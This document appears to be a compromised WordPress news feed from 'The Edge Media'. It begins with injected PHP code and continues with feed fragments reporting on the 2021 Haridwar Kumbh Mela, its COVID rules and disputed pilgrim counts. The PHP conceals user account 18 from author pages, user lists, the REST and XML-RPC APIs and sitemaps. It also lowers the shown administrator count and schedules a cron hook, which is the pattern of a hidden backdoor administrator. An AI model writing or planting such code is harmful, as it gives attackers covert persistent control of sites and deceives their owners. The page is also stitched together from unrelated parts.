add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Prime minister Narendra Modi said kumbh Should now only be symbolic appeared first on The Edge Media.
]]>The post Prime minister Narendra Modi said kumbh Should now only be symbolic appeared first on The Edge Media.
]]>The post CM of Uttarakhand announced this related to kumbh appeared first on The Edge Media.
]]>
This year, Kumbh Mela is being organized from April 1 to April 30. Three royal baths will be held in April. On April 12 and 14, all 13 arenas will perform a holy dip, while on April 27, the Bairagi Arena will perform a holy dip.
According to the health system, 100 teams have been formed for thermal screening, while the number of teams testing COVID-19 has been increased from 40 to 50 and ambulances.
The number has also been increased from 32 to 54. A team of 100 doctors and 148 para-medical staff from Uttar Pradesh have reached Haridwar. Tents and toilets will be built and necessary facilities will also be provided to all the great temples.
Earlier, the Uttarakhand government had made the registration of saints coming to participate in Kumbh compulsory.
Devotees will have to undergo their RT-PCR test 72 hours before attending the Kumbh. They will be allowed only when their test is negative.
SOP for ashrams, ashrams, dharamshalas, ghats, hotels, restaurants, guest houses, public vehicles, parking lots, railway stations, bus stations, shops, etc. Issued.
The post CM of Uttarakhand announced this related to kumbh appeared first on The Edge Media.
]]>The post Today the third shahi bath!! appeared first on The Edge Media.
]]>On Monday, the administration claimed the bathing of more than 30 lakh people on Somvati Amavasya, but surprisingly, despite such a large number of people, most of the dharmashalas, hotels, inns and ashrams remained empty.
In Haridwar, Uttarakhand, the government and the fair administration are making big claims regarding Mahakumbh. On Monday, the administration claimed the bathing of over 30 lakh people on Somvati Amavasya, but surprisingly, despite such a large number of people, most of the dharmashalas, hotels, inns and ashrams remained empty and the trains coming from the border Entry was also very limited. In such a big question, if so many people come, where do they come from?
According to Vibhash Mishra, associated with the hotel association, most of his hotels remained empty from Sunday till the hotel. Then from where did these millions of people come for a bath, now this is the question. Dharamshala Association has a similar argument.
On the day of Somvati Amavasya on 12 April, the police told the official number of bathers in and around Haridwar 31 lakh 23 thousand, while only 349 people in the government’s online registration portal registered Monday to come to Kumbh. Was If we consider the figures of online registration, then only fifteen to two thousand devotees reached Haridwar on Monday. Whereas 357 passenger trains, which were not agreed to bring the Kovid test at the border or to do the Kovid test, were turned upside down, in which there were 2758 people. While the number of trains coming to Haridwar was 6538, in which more than 30 thousand passengers rushed to Haridwar.
Haridwar arrived from different cities of the country on Monday. Nearly eight thousand passengers reached Haridwar by 17 trains. While only fifteen hundred passengers reached Haridwar by buses. In this context, if the forgotten people are also added, then this figure can reach one lakh. The number of devotees coming to Haridwar on the Sunday before Monday remained the same. In such a situation, where are the figures of bathing of more than 30 lakh pilgrims released by the fair administration and where have these pilgrims gone, questions are being raised.
IG Sanjay Gunjyal, associated with Mahakumbh preparations, claims that he had arranged one crore 80 lakh passengers. People came much less than anticipated, so the number of devotees seemed small. According to Gunjayal, people took a bath from Haridwar to Rishikesh on the occasion of Mahakumbh. Therefore this figure has reached more than 30 lakhs.
The post Today the third shahi bath!! appeared first on The Edge Media.
]]>